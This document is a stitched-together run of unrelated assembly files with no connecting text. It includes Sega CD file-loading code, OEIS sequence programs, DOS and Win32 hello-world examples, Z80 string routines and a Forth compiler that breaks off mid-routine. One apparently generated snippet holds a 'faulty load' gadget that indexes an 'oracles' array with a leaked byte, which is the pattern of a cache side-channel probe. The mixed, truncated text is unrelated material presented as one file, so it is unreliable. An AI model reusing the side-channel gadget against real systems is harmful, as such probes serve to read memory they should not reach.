------------------------------------------------------------------------- ; Command to stop CDDA music ; ------------------------------------------------------------------------- SP_StopCDDA: BIOS_MSCSTOP ; Stop CDDA rts ; ------------------------------------------------------------------------- ; Command to load file ; ------------------------------------------------------------------------- ; PARAMETERS: ; Cmd 0-A - File name ; Cmd C-E - Destination buffer ; RETURNS: ; Stat 0 - 0 if loaded, -1 if failed ; ------------------------------------------------------------------------- SP_LoadFile: lea Buffer(pc),a0 ; Load file lea GA_CMD_0.w,a1 move.l (a1)+,(a0) move.l (a1)+,4(a0) move.l (a1),8(a0) movea.l GA_CMD_C.w,a1 lea CDReadVars(pc),a6 bsr.w ReadFile bcs.s .Failed clr.l GA_STAT_0.w ; Return file sector rts .Failed: move.l #-1,GA_STAT_0.w ; Return -1 if not found rts ; ------------------------------------------------------------------------- ; Acknowledge Main CPU Word RAM access request ; ------------------------------------------------------------------------- SP_ReqWordRAM: bset #0,GA_MEM_MODE+1.w ; Give the Main CPU Word RAM access beq.s SP_ReqWordRAM rts ; ------------------------------------------------------------------------- ; Find a file ; ------------------------------------------------------------------------- ; PARAMETERS: ; a0.l - File name ; ------------------------------------------------------------------------- ; RETURNS: ; cc/cs - Successful/Failed ; d0.l - File sector ; d1.l - File size ; ------------------------------------------------------------------------- FindFile: moveq #0,d0 lea ROOT_DIR,a2 ; Get root directory .FileLoop: move.b (a2),d0 ; Is this the end of the directory? beq.s .NotFound ; If so, branch lea $21(a2),a3 ; Go to file name movea.l a0,a4 .ChkName: move.b (a4)+,d1 ; Check if this is the termination flag beq.s .Found ; If so, branch cmp.b (a3)+,d1 ; Do the characters match? beq.s .ChkName ; If so, branch add.l d0,a2 ; Next file bra.s .FileLoop .NotFound: ori #1,ccr ; Set carry flag rts .Found: move.b 6(a2),d0 ; Get file size lsl.l #8,d0 move.b 7(a2),d0 lsl.l #8,d0 move.b 8(a2),d0 lsl.l #8,d0 move.b 9(a2),d0 move.b $E(a2),d1 ; Get file sector lsl.l #8,d1 move.b $F(a2),d1 lsl.l #8,d1 move.b $10(a2),d1 lsl.l #8,d1 move.b $11(a2),d1 andi #$FFFE,ccr ; Clear carry flag rts ; ------------------------------------------------------------------------- ; Read a file into a buffer ; ------------------------------------------------------------------------- ; PARAMETERS: ; a0.l - File name ; a1.l - Destination buffer ; a6.l - CD read parameters (see variable section) ; ------------------------------------------------------------------------- ; RETURNS: ; cc/cs - Successful/Failed ; ------------------------------------------------------------------------- ReadFile: bsr.s FindFile ; Find the file bcs.s .NotFound move.l d0,(a6) ; Set sector move.l d1,d0 ; Get sector count moveq #11,d2 lsr.l d2,d1 andi.w #$7FF,d0 ; Is the end of the file not aligned to a sector? beq.s .Aligned ; If not, branch addq.l #1,d1 ; If so, load an extra sector to get the full file .Aligned: move.l d1,4(a6) ; Set sector count move.l a1,8(a6) ; Set destination buffer bsr.s ReadCD ; Read the file andi #$FFFE,ccr ; Clear carry flag .NotFound: rts ; ------------------------------------------------------------------------- ; Read a number of sectors from the CD ; ------------------------------------------------------------------------- ; PARAMETERS: ; a6.l - CD read parameters (see variable section) ; ------------------------------------------------------------------------- ReadCD: movea.l a6,a0 ; Copy CD read parameters to a0 for BIOS BIOS_CDCSTOP ; Stop CDC BIOS_ROMREADN ; Begin operation .WaitPrepare: BIOS_CDCSTAT ; Wait for when the data has been prepared bcs.s .WaitPrepare .WaitRead: BIOS_CDCREAD ; Wait for when a frame of data was read bcs.s .WaitRead .WaitTrns: movea.l 8(a6),a0 ; Transfer the data lea $C(a6),a1 BIOS_CDCTRN bcs.s .WaitTrns BIOS_CDCACK ; Finish addi.l #$800,8(a6) ; Next sector addq.l #1,(a6) move.l #ROOT_DIR,$C(a6) subq.l #1,4(a6) bne.s .WaitPrepare ; If we are not done, keep reading rts ; ------------------------------------------------------------------------- ; ASIC functions ; ------------------------------------------------------------------------- include "cdsp/asic.asm" ; ------------------------------------------------------------------------- ; Interrupt level 2 ; ------------------------------------------------------------------------- SP_Int2: rts ; ------------------------------------------------------------------------- ; Variables ; ------------------------------------------------------------------------- BIOSParams: dc.b $01, $FF, $00, $00 ; BIOS parameters dc.b $00, $00, $00, $00 Buffer: dcb.b $10, 0 ; Buffer CDReadVars: ; Prepared for reading primary volume descriptor dc.l $10 ; Start sector dc.l 1 ; Number of sectors dc.l ROOT_DIR ; Read buffer dc.l SP_End, 0 ; Header buffer ; ------------------------------------------------------------------------- SP_End: dc.l 0 ; -------------------------------------------------------------------------
; A342089: Numbers that have two representations as the sum of distinct non-consecutive Lucas numbers (A000032). ; 5,12,16,23,30,34,41,45,52,59,63,70,77,81,88,92,99,106,110,117,121,128,135,139,146,153,157,164,168,175,182,186,193,200,204,211,215,222,229,233,240,244,251,258,262,269,276,280,287,291,298,305,309,316,320,327,334,338,345,352,356,363,367,374,381,385,392,399,403,410,414,421,428,432,439,443,450,457,461,468,475,479,486,490,497,504,508,515,522,526,533,537,544,551,555,562,566,573,580,584 mov $2,$0 seq $0,283233 ; 2*A000201. mov $1,$0 add $0,$2 div $1,2 add $0,$1 add $0,2
assume cs:code code segment s1: db 'Good,better,best,','$' s2: db 'Never let it rest,','$' s3: db 'Till good is better,','$' s4: db 'And better,best.','$' s : dw offset s1,offset s2,offset s3,offset s4 row:db 2,4,6,8 start: mov ax,cs mov ds,ax mov bx,offset s mov si,offset row mov cx,4 ok: mov bh,0 mov dh,ds:[si] ; blank filled mov dl,0 mov ah,2 int 10h mov dx,ds:[bx] ; blank filled mov ah,9 int 21h add bx,2 ; blank filled add si,1 ; blank filled loop ok mov ax,4c00h int 21h code ends end start
; A164603: a(n) = ((1+4*sqrt(2))*(2+2*sqrt(2))^n + (1-4*sqrt(2))*(2-2*sqrt(2))^n)/2. ; 1,18,76,376,1808,8736,42176,203648,983296,4747776,22924288,110688256,534450176,2580553728,12460015616,60162277376,290489171968,1402605797376,6772379877376,32699942699008,157889290305536,762356932018176,3680984889294848 mov $1,1 mov $2,1 lpb $0,1 sub $0,1 add $1,1 mul $2,2 add $3,5 add $2,$3 mov $3,12 mov $4,1 mov $5,2 add $5,$2 add $1,$5 add $4,$1 mov $1,$2 add $1,11 mul $4,2 mov $2,$4 lpe
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r8 push %r9 push %rbx push %rcx push %rdi push %rsi lea addresses_A_ht+0x184a2, %rsi lea addresses_A_ht+0xa4a2, %rdi nop nop nop add %r10, %r10 mov $47, %rcx rep movsw nop and %r9, %r9 lea addresses_WT_ht+0xbe32, %rsi lea addresses_WT_ht+0x91a2, %rdi clflush (%rdi) nop sub $22124, %rbx mov $11, %rcx rep movsl nop nop add %r10, %r10 lea addresses_WC_ht+0x1ae62, %rcx nop nop nop nop nop dec %r8 movb (%rcx), %bl nop nop nop nop nop dec %rdi lea addresses_WT_ht+0x16008, %rsi nop nop nop nop xor %r9, %r9 movb (%rsi), %r10b sub %rdi, %rdi lea addresses_normal_ht+0x121a2, %r10 nop nop nop cmp %rsi, %rsi mov $0x6162636465666768, %rcx movq %rcx, %xmm0 movups %xmm0, (%r10) nop nop add $13151, %rbx lea addresses_normal_ht+0x12a6a, %rsi lea addresses_normal_ht+0x7fa2, %rdi nop nop sub %r12, %r12 mov $75, %rcx rep movsw nop nop nop nop inc %r8 lea addresses_UC_ht+0xc122, %rsi lea addresses_UC_ht+0xe3a2, %rdi nop nop nop inc %r8 mov $32, %rcx rep movsl nop nop nop nop add $28591, %r12 pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r8 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r13 push %r8 push %rax push %rcx push %rdi push %rdx // Faulty Load lea addresses_US+0x2ba2, %rax nop nop and %r8, %r8 mov (%rax), %r13 lea oracles, %rcx and $0xff, %r13 shlq $12, %r13 mov (%rcx,%r13,1), %r13 pop %rdx pop %rdi pop %rcx pop %rax pop %r8 pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_US', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_US', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_A_ht'}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_WT_ht'}} {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 5}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 8}} {'OP': 'REPM', 'src': {'same': True, 'congruent': 1, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_normal_ht'}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_UC_ht'}} {'00': 6} 00 00 00 00 00 00 */
; tdll.asm ; ; assemble with ; nasm -fobj tdll.asm ; ; link with ; alink -oPE -dll tdll win32.lib ; (win32.lib is available from my web page) global start global title1 export start export title1 ;these names are defined in win32.lib as the names of ;a stub proc, and the IAT entry name for MessageBoxA extern MessageBoxA extern __imp_MessageBoxA segment code public use32 class=CODE ;DLL entry point - do nothing, but flag success ;This is a STDCALL entrypoint, so remove 3 params from stack on return ..start: dllstart: mov eax,1 ret 12 ;exported procedure start: push dword 0 ; OK button push dword title1 push dword string1 push dword 0 call MessageBoxA ;call stub routine in win32.lib push dword 0 ; OK button push dword title1 push dword string2 push dword 0 call [__imp_MessageBoxA] ;call routine via IAT ret segment data public use32 class=DATA string1: db 'hello world, through redirection',13,10,0 ;exported data title1: db 'Hello',0 string2: db 'hello world, called through import table',13,10,0
[bits 64] exit_process equ 0x0210 vm_reserve equ 0x0410 vm_commit equ 0x0414 stream_read equ 0x0508 section .text xor rdx,rdx mov r8d,2 mov eax,vm_reserve syscall test rax,rax mov rdx,rax jz abort mov r8d,1 mov eax,vm_commit mov rbx,rdx syscall test eax,eax jnz abort mov edx,1 lea r8,[rbx + 0x0FF0] mov r9d,0x20 mov eax,stream_read syscall mov edx,eax mov eax,exit_process syscall abort: ud2
#ifndef __SCHEME_FUNS_TYPESJUDGE #define __SCHEME_FUNS_TYPESJUDGE #include "arch.hpp" #include "ast.hpp" #include "parsers.hpp" namespace HT { void isinteger(PASTNode, ParsersHelper&); void isrational(PASTNode, ParsersHelper&); void isreal(PASTNode, ParsersHelper&); void iscomplex(PASTNode, ParsersHelper&); void isnumber(PASTNode, ParsersHelper&); } #endif
page ,132 TITLE C library emulation, not relying on MS-DOS. ;*****************************************************************************; ; ; ; FILE NAME: annauldv.asm ; ; ; ; DESCRIPTION: C compiler long math library ; ; ; ; NOTES: ; ; ; ; HISTORY: ; ; 2000/03/23 JFL Created this file. ; ; ; ; (c) Copyright 1996-2017 Hewlett Packard Enterprise Development LP ; ; Licensed under the Apache 2.0 license - www.apache.org/licenses/LICENSE-2.0 ; ;*****************************************************************************; .model small, C .code .386 ;-----------------------------------------------------------------------------; ; ; ; Function: _aNNauldiv ; ; ; ; Description: Unsigned long /= ; ; ; ; Parameters: On stack: ; ; WORD Pointer to the 32 bits dividend ; ; DWORD Divisor ; ; ; ; Returns: DX:AX Copy of the result ; ; ; ; Notes: Uses 386 instructions. May not be used on old machines. ; ; ; ; Regs altered: EAX, EDX, CX ; ; ; ; History: ; ; ; ; 1996/01/03 JFL Created this routine. ; ; ; ;-----------------------------------------------------------------------------; _aNNauldiv proc public push bp mov bp, sp push bx ; Must be preserved mov bx, [bp+4] ; Pointer to the dividend and result mov eax, DWORD ptr [bx] xor edx, edx div dword ptr [bp+6] mov DWORD ptr [bx], eax shld edx, eax, 16 ; mov dx:ax, eax pop bx ; Restore the initial value pop bp ret 6 _aNNauldiv endp END
; A328152: a(n) is the number of squares of side length greater than 1 having vertices at the points of an n X n grid of dots. ; 0,0,2,11,34,80,160,287,476,744,1110,1595,2222,3016,4004,5215,6680,8432,10506,12939,15770,19040,22792,27071,31924,37400,43550,50427,58086,66584,75980,86335,97712,110176,123794,138635,154770,172272,191216,211679,233740,257480,282982,310331,339614,370920,404340,439967,477896,518224,561050,606475,654602,705536,759384,816255,876260,939512,1006126,1076219,1149910,1227320,1308572,1393791,1483104,1576640,1674530,1776907,1883906,1995664,2112320,2234015,2360892,2493096,2630774,2774075,2923150,3078152,3239236,3406559,3580280,3760560,3947562,4141451,4342394,4550560,4766120,4989247,5220116,5458904,5705790,5960955,6224582,6496856,6777964,7068095,7367440,7676192,7994546,8322699,8660850,9009200,9367952,9737311,10117484,10508680,10911110,11324987,11750526,12187944,12637460,13099295,13573672,14060816,14560954,15074315,15601130,16141632,16696056,17264639,17847620,18445240,19057742,19685371,20328374,20987000,21661500,22352127,23059136,23782784,24523330,25281035,26056162,26848976,27659744,28488735,29336220,30202472,31087766,31992379,32916590,33860680,34824932,35809631,36815064,37841520,38889290,39958667,41049946,42163424,43299400,44458175,45640052,46845336,48074334,49327355,50604710,51906712,53233676,54585919,55963760,57367520,58797522,60254091,61737554,63248240,64786480,66352607,67946956,69569864,71221670,72902715,74613342,76353896,78124724,79926175,81758600,83622352,85517786,87445259,89405130,91397760,93423512,95482751,97575844,99703160,101865070,104061947,106294166,108562104,110866140,113206655,115584032,117998656,120450914,122941195,125469890,128037392,130644096,133290399,135976700,138703400,141470902,144279611,147129934,150022280,152957060,155934687,158955576,162020144,165128810,168281995,171480122,174723616,178012904,181348415,184730580,188159832,191636606,195161339,198734470,202356440,206027692,209748671,213519824,217341600,221214450,225138827,229115186,233143984,237225680,241360735,245549612,249792776,254090694,258443835,262852670,267317672,271839316,276418079,281054440,285748880,290501882,295313931,300185514,305117120,310109240,315162367,320276996,325453624 mov $11,$0 mov $13,$0 lpb $13,1 clr $0,11 mov $0,$11 sub $13,1 sub $0,$13 mov $8,$0 mov $10,$0 lpb $10,1 mov $0,$8 sub $10,1 sub $0,$10 pow $0,2 mov $1,$0 trn $1,2 add $9,$1 lpe add $12,$9 lpe mov $1,$12
; run RLA the number of times specified in B rlaX: ; first, see if B == 0 to see if we need to bail out inc b dec b ret z ; Z flag means we had B = 0 .loop: rla djnz .loop ret callHL: jp (hl) ret ; HL - DE -> HL subDEFromHL: push af ld a, l sub e ld l, a ld a, h sbc a, d ld h, a pop af ret ; make Z the opposite of what it is now toggleZ: jp z, unsetZ cp a ret ; Returns length of string at (HL) in A. ; Doesn't include null termination. strlen: push bc push hl ld bc, 0 ld a, 0 ; look for null char .loop: cpi jp z, .found jr .loop .found: ; How many char do we have? the (NEG BC)-1, which started at 0 and ; decreased at each CPI call. In this routine, we stay in the 8-bit ; realm, so C only. ld a, c neg dec a pop hl pop bc ret ; Sets Z if string at (HL) is one character long strIs1L: xor a cp (hl) jp z, unsetZ ; empty string inc hl cp (hl) ; Z has proper value dec hl ; doesn't touch Z ret ; Compares strings pointed to by HL and DE up to A count of characters in a ; case-insensitive manner. ; If equal, Z is set. If not equal, Z is reset. strncmpI: push bc push hl push de ld b, a .loop: ld a, (de) call upcase ld c, a ld a, (hl) call upcase cp c jr nz, .end ; not equal? break early. NZ is carried out ; to the called or a ; cp 0. If our chars are null, stop the cmp jr z, .end ; The positive result will be carried to the ; caller inc hl inc de djnz .loop ; Success ; We went through all chars with success. Ensure Z cp a .end: pop de pop hl pop bc ; Because we don't call anything else than CP that modify the Z flag, ; our Z value will be that of the last cp (reset if we broke the loop ; early, set otherwise) ret ; Compares strings pointed to by HL and DE until one of them hits its null char. ; If equal, Z is set. If not equal, Z is reset. strcmp: push hl push de .loop: ld a, (de) cp (hl) jr nz, .end ; not equal? break early. NZ is carried out ; to the called cp 0 ; If our chars are null, stop the cmp jr z, .end ; The positive result will be carried to the ; caller inc hl inc de jr .loop .end: pop de pop hl ; Because we don't call anything else than CP that modify the Z flag, ; our Z value will be that of the last cp (reset if we broke the loop ; early, set otherwise) ret ; If string at (HL) starts with ( and ends with ), "enter" into the parens ; (advance HL and put a null char at the end of the string) and set Z. ; Otherwise, do nothing and reset Z. enterParens: ld a, (hl) cp '(' ret nz ; nothing to do push hl ld a, 0 ; look for null char ; advance until we get null .loop: cpi jp z, .found jr .loop .found: dec hl ; cpi over-advances. go back to null-char dec hl ; looking at the last char before null ld a, (hl) cp ')' jr nz, .doNotEnter ; We have parens. While we're here, let's put a null xor a ld (hl), a pop hl ; back at the beginning. Let's advance. inc hl cp a ; ensure Z ret ; we're good! .doNotEnter: pop hl call unsetZ ret ; Scans (HL) and sets Z according to whether the string is double quoted, that ; is, starts with a " and ends with a ". If it is double quoted, "enter" them, ; that is, advance HL by one and transform the ending quote into a null char. ; If the string isn't double-enquoted, HL isn't changed. enterDoubleQuotes: ld a, (hl) cp '"' ret nz push hl inc hl ld a, (hl) or a ; already end of string? jr z, .nomatch xor a call findchar ; go to end of string dec hl ld a, (hl) cp '"' jr nz, .nomatch ; We have a match, replace ending quote with null char xor a ld (hl), a ; Good, let's go back pop hl ; ... but one char further inc hl cp a ; ensure Z ret .nomatch: call unsetZ pop hl ret ; Find string (HL) in string list (DE) of size B, in a case-insensitive manner. ; Each string is C bytes wide. ; Returns the index of the found string. Sets Z if found, unsets Z if not found. findStringInList: push de push bc .loop: ld a, c call strncmpI ld a, c call addDE jr z, .match djnz .loop ; no match, Z is unset pop bc pop de ret .match: ; Now, we want the index of our string, which is equal to our initial B ; minus our current B. To get this, we have to play with our registers ; and stack a bit. ld d, b pop bc ld a, b sub d pop de cp a ; ensure Z ret ; DE * BC -> DE (high) and HL (low) multDEBC: ld hl, 0 ld a, 0x10 .loop: add hl, hl rl e rl d jr nc, .noinc add hl, bc jr nc, .noinc inc de .noinc: dec a jr nz, .loop ret
; Copyright (c) 2022 Sam Blenny ; SPDX-License-Identifier: MIT ; ; MarkabForth compiler words (meant to be included in ../libmarkab.nasm) ; This include path is relative to the working directory that will be in effect ; when running the Makefile in the parent directory of this file. So the ; include path is relative to ../Makefile, which is confusing. %include "libmarkab/common_macros.nasm" %include "libmarkab/generated_macros.nasm" extern mByteStore extern mDrop extern mDup extern mEmit.W extern Mem extern mErr5NumberFormat extern mErr6Overflow extern mErr9DictFull extern mErr10ExpectedName extern mErr11NameTooLong extern mErr15HeapFull extern mErr17SemiColon extern mErr18ExpectedSemiColon extern mErr19BadAddress extern mErr20ReturnUnderflow extern mErr30CompileOnlyWord extern mEqual extern mFourPlus extern mLess extern mLessEq extern mOnePlus extern mPopW extern mPlus extern mPush extern mRPopW extern mStore extern mSwap extern mTwoPlus extern mWordFetch extern mWordStore global mColon global mSemiColon global mCreate global mWord global mAllot global mLowercase global mNumber global mCompileLiteral global mCompileU8 global mCompileU16 global mCompileU32 global mHere global mLast global mIf global mElse global mEndIf global mFor global mEndFor mColon: ; COLON - define a word test VMFlags, VMCompile ; if already in compile mode, invoking : is an error jnz mErr18ExpectedSemiColon fDo Here, .end ; -> {T: [DP]} (save [DP] for possible rollback) fPush ColonDP, .end ; -> {S: [DP], ColonDP} fDo WordStore, .end ; -> {} fPush Last, .end ; -> {T: Last} (save [Last] for possible rollback) fDo WordFetch, .end ; -> {T: [Last]} fPush ColonLast, .end ; -> {S: [Last], T: ColonLast} fDo WordStore, .end ; -> {} ;------------------------- fDo Create, .rollbk ; add name from input stream to dictionary ;------------------------- fPush TpCode, .rollbk ; -> {T: TpCode} fDo CompileU8, .rollbk ; -> {} (compile .type = TpCode) fPush ColonDP, .rollbk ; -> {T: ColonDP} fDo WordFetch, .rollbk ; -> {T: [DP] (start of def, before create)} fPush Last, .rollbk ; -> {S: [DP] (start of def) T: Last} fDo WordStore, .rollbk ; -> {} (commit new word to dictionary) fDo Here, .rollbk ; -> {T: [DP] (after name, for use by `;`) or VMFlags, VMCompile ; set compile mode ret ;------------------------- .rollbk: ; revert changes to [DP] and [Last] fPush ColonLast, .end ; get old value of [Last] fDo WordFetch, .end fPush Last, .end fDo WordStore, .end ; set [Last] to the old [Last] fPush ColonDP, .end ; get old value of [DP] fDo WordFetch, .end fPush DP, .end fDo WordStore, .end ; set [DP] to the old [DP] ret ;------------------------- .end: ; Last resort exit path (DP or Last may be broken) ret mSemiColon: ; SEMICOLON - end definition of a new word test VMFlags, VMCompile ; if not in compile mode, invoking ; is an error jz mErr17SemiColon ;------------------------- .optimizerCheck: ; Check if tail call optimization is possible ;... ; (requires that the last call token occurred ;... ; within the current definition, not before) fDo Dup, .end ; -> {S: [DP] (old, from `:`), [DP] (:)} fPush CallDP, .end ; -> {[DP] (:), S: [DP] (:), T: CallDP} fDo WordFetch, .end ; -> {[DP] (:), S: [DP] (:), T: [CallDP]} fDo LessEq, .end ; -> {S: [DP] (:), T: ((S<=T): -1 or (S>T): 0)} fDo PopW, .end ; -> {T: [DP] (:)}, {W: true(-1) or false(0)} test W, W jz .compileToken ; skip optimization if last call not in this def fDo Here, .end ; Calculate where tCall would be if there was a call sub T, 3 ; right before this semicolon fPush CallDP, .end ; Compare that calculation to the last call address fDo WordFetch, .end fDo Equal, .end ; -> {S: [DP] (:), T: (equal: -1 or not-equal: 0)} fDo PopW, .end ; -> {T: [DP] (:)}, {W: true(-1) or false(0)} test W, W jz .compileToken ; skip optimization if last word of def was not call ;------------------------- .rewriteTailCall: ; Do a tail call optimization fPush CallDP, .end ; -> {S: [DP] (:), T: CallDP} fDo WordFetch, .end ; -> {S: [DP] (:), T: [CallDP]} fPush tJump, .end ; -> {S: [DP] (:), S: [CallDP], T: tJump} fDo Swap, .end ; -> {[DP] (:), S: tJump, T: [CallDP]} fDo ByteStore, .end ; -> {T: [DP] (:)} (change tCall token to tJump) ;... ; continue to .normalReturn ;------------------------- .compileToken: ; Compile a Return token fPush tReturn, .end ; -> {S: [DP] (:), T: tReturn} fDo CompileU8, .end ; -> {T: [DP] (:)} test VMFlags, VMIf ; check what kind of block encloses this `;` jnz .returnFromIfBranch ;------------------------- .returnFromWord: ; Return from end of word, so clear compile flag fDo Drop, .end ; {T: [DP] (:)} -> {} and VMFlags, (~VMCompile) ret ;------------------------- .returnFromIfBranch: ; Return from inside `IF`, so leave compile flag set ;... ; {T: [DP] (:)} (keep [DP] from start of `:`-def) ret ;------------------------- .end: ; Something went wrong, so clear compile flag and VMFlags, (~VMCompile) ret ; CREATE - Add a name to the dictionary ; struct format: {dd .link, db .nameLen, <name>, db .wordType, dw .param} mCreate: movzx esi, word [Mem+DP] ; load dictionary pointer [DP] cmp esi, HeapEnd-HReserve ; check if dictionary has room (link + reserve) jnb mErr9DictFull ;--------------------------- push rsi ; save a copy of [DP] in case rollback needed movzx edi, word [Mem+Last] ; append {.link: [Last]} to dictionary mov word [Mem+esi], di add esi, 2 ; update [DP] mov word [Mem+DP], si push rsi ; store pointer to {.nameLen, <name>} call mWord ; append word from [TIB+IN] as {.nameLen, <name>} pop rsi ; load pointer to {.nameLen, <name>} test VMFlags, VMErr ; check for errors jnz .doneErr ;-------------------------- ; Lowercase the name (for case-insensitive lookups) lea rdi, [Mem+rsi] ; prepare {rdi, rsi} args for the name that was just movzx rsi, byte [rdi] ; stored at [DP] (its value before mWord) inc rdi ; skip the length byte of {db .nameLen, <name>} call mLowercase ; mLowercase(rdi: *buf, rsi: count) ;------------------------ .done: pop rsi ; commit dictionary changes ret ;------------------------ .doneErr: pop rsi ; roll back dictionary changes mov word [Mem+DP], si ; Restore DP to its old value xor edi, edi ; Zero the first byte at [DP] so it will behave as a mov di, si ; length-prefixed string that is empty mov byte [Mem+rdi], 0 ret ; WORD - Copy a word from [TIB+IN] to [DP] in format: {db length, <the-word>} mWord: push rbp push rbx fPush IBPtr, .err1 ; push -> {T: address of pointer to input buffer} fDo WordFetch, .err1 ; fetch -> {T: pointer to input buffer} mov ebp, T ; ebp: *buf (virtual address) fDo Drop, .err1 ; drop -> {} fPush IBLen, .err1 ; push -> {T: address of buffer size} fDo WordFetch, .err1 ; fetch -> {T: buffer } mov ebx, T ; ebx: count fDo Drop, .err1 ; drop -> {} fPush IN, .err1 ; push -> {T: address of current input index} fDo WordFetch, .err1 ; fetch -> {T: input index} call mPopW ; pop -> {}, [W: input index] cmp W, ebx ; stop if there are no input bytes (index >= count) jge .err1 mov edi, ebp ; edi: *buf (virtual address in Mem) mov esi, W ; esi: [IN] (index into *buf) mov ecx, ebx ; ecx: count (maximum index of *buf) mov W, edi ; stop if (*buf + count - 1) is out of range add W, ecx dec W cmp W, MemSize jge .err1 ;//////////////////////// jmp .forScanStart ;------------------------ .isWhitespace: ; Check if W is whitespace (set r10b if so) cmp WB, ' ' ; check for space sete r10b cmp WB, 10 ; check for LF sete r11b or r10b, r11b cmp WB, 13 ; check for CR sete r11b or r10b, r11b ; Zero flag will be set for non-whitespace ret ;------------------------ .forScanStart: ; Scan past whitespace to find word-start boundary mov WB, byte [Mem+edi+esi] ; check if current byte is non-space call .isWhitespace jz .forScanEnd ; jump if word-start boundary was found inc esi ; otherwise, advance past the ' ' mov word [Mem+IN], si ; update IN (save index to start of word) cmp esi, ecx ; loop if there are more bytes jb .forScanStart jmp .doneNone ; stop if buffer was all whitespace ;------------------------ .forScanEnd: ; Scan for word-end boundary (space or buffer end) mov WB, byte [Mem+edi+esi] call .isWhitespace jnz .wordSpace inc esi cmp esi, ecx jb .forScanEnd ; loop if there are more input bytes ;//////////////////////// ; Handle word terminated by end of stream .wordEndBuf: ; now: {[IN]: start index, esi: end index} movzx W, word [Mem+IN] ; prepare arguments for .copyWordRdiRsi sub esi, W ; convert: index_of_word_end -> word_length add edi, W ; convert: [IBPtr] -> start_of_word_pointer movzx W, word [Mem+IN] ; update [IN] add W, esi mov word [Mem+IN], WW jmp .copyWordRdiRsi ; Copy word to end of dictionary ;------------------------ ; Handle word terminated by whitespace .wordSpace: ; now: {[IN]: start index, rsi: end index + 1} movzx W, word [Mem+IN] ; prepare word as {rdi: *buf, rsi: count} sub esi, W ; convert: index_of_word_end -> word_length add edi, W ; convert: [IBPtr] -> start_of_word_pointer add W, esi ; update IN to point 1 past the space inc W mov word [Mem+IN], WW ; (then fall through to copy word) ;//////////////////////// .copyWordRdiRsi: ; Copy word {rdi: *buf, rsi: count} to [Mem+DP] movzx rcx, word [Mem+DP] ; load dictionary pointer (DP) cmp ecx, HeapEnd-255 ; stop if dictionary is full jnb mErr9DictFull cmp esi, 255 ; stop if word is too long (max 255 bytes) ja mErr11NameTooLong ;------------------------ mov byte [Mem+ecx], sil ; store {.nameLen: <byte count>} in [Mem+[DP]] inc ecx xor edx, edx ; zero source index .forCopy: mov WB, [Mem+edi+edx] ; load [Mem + [IBPtr] + [IN] + edx] mov byte [Mem+ecx], WB ; store it to [Mem + [DP]] inc edx ; advance source index (edx) inc ecx ; advance [DP] cmp rdx, rsi ; keep looping if source index < length of word jb .forCopy ;//////////////////////// .done: pop rbx pop rbp mov word [Mem+DP], cx ; store the new dictionary pointer ret ;------------------------ .doneNone: ; didn't get a word, so clear string count at [DP] fPush 0, .err1 ; push -> {T: 0} fPush DP, .err1 ; push -> {S: 0, T: DP} fDo WordFetch, .err1 ; push -> {S: 0, T: [DP]} fDo ByteStore, .err1 ; store -> {} pop rbx pop rbp ret ;------------------------ .err1: pop rbx pop rbp and VMFlags, ~VMCompile ; clear compile flag call mErr10ExpectedName ret mAllot: ; ALLOT -- Increase Dictionary Pointer (DP) by T fDo Here, .end ; -> {S: number, T: [DP] (address of first free byte)} fDo Plus, .end ; -> {T: [DP]+number} cmp T, HeapEnd-HReserve jge mErr15HeapFull ; stop if requested allocation is too large fPush DP, .end ; -> {S: [DP]+number, T: DP} fDo WordStore, .end ; -> {} .end: ret ; Convert string at {edi: *buf, esi: count} to lowercase (modify in place) mLowercase: test esi, esi ; stop if string is empty jz .done xor ecx, ecx .for: mov WB, [edi+ecx] ; load [rdi+i] for i in 0..(rsi-1) cmp WB, 'A' ; convert WB to lowercase without branching setae r10b cmp WB, 'Z' setbe r11b test r10b, r11b setnz r10b ; ...at this point, r10 is set if dl is in 'A'..'Z' mov r11b, WB ; ...speculatively prepare a lowercase (c+32) character add r11b, 32 test r10b, r10b ; ...swap in the lowercase char if needed cmovnz W, r11d mov [edi+ecx], WB ; store the lowercased byte inc ecx dec esi ; loop until all bytes have been checked jnz .for .done: ret mNumber: ; Parse & push i32 from word (rdi: *buf, rsi: count) test rsi, rsi ; check that count > 0 cmp rsi, 0 jle .doneErr1 ;------------------------ xor r8, r8 ; zero index xor r9, r9 ; zero ASCII digit mov ecx, esi ; rcx = count of bytes in word buffer ;------------------------ movzx W, word [Mem+Base] ; check that base is 10 or 16 cmp WB, 10 jz .decimal ; use decimal conversion cmp WB, 16 jz .hex ; use hex conversion jmp .doneErr2 ; oops... Base is not valid ;///////////////////// .decimal: ; Attempt to convert word as signed decimal number xor WQ, WQ ; zero accumulator mov r9b, [rdi] ; check for leading "-" indicating negative cmp r9b, '-' setz r10b ; r10b: set means negative, clear means positive jnz .forDigits ; jump if positive, otherwise continue to .negative ;--------------------- .negative: ; Skip '-' byte if negative inc r8 ; advance index dec rcx ; decrement loop limit counter jz .doneNaN ;--------------------- .forDigits: ; Convert decimal digits mov r9b, [rdi+r8] ; get next byte of word (maybe digit, or maybe not) sub r9b, '0' ; attempt to convert from ASCII digit to uint8 cmp r9b, 9 jnbe .doneNaN ; jump to error if result is greater than uint8(9) imul WQ, 10 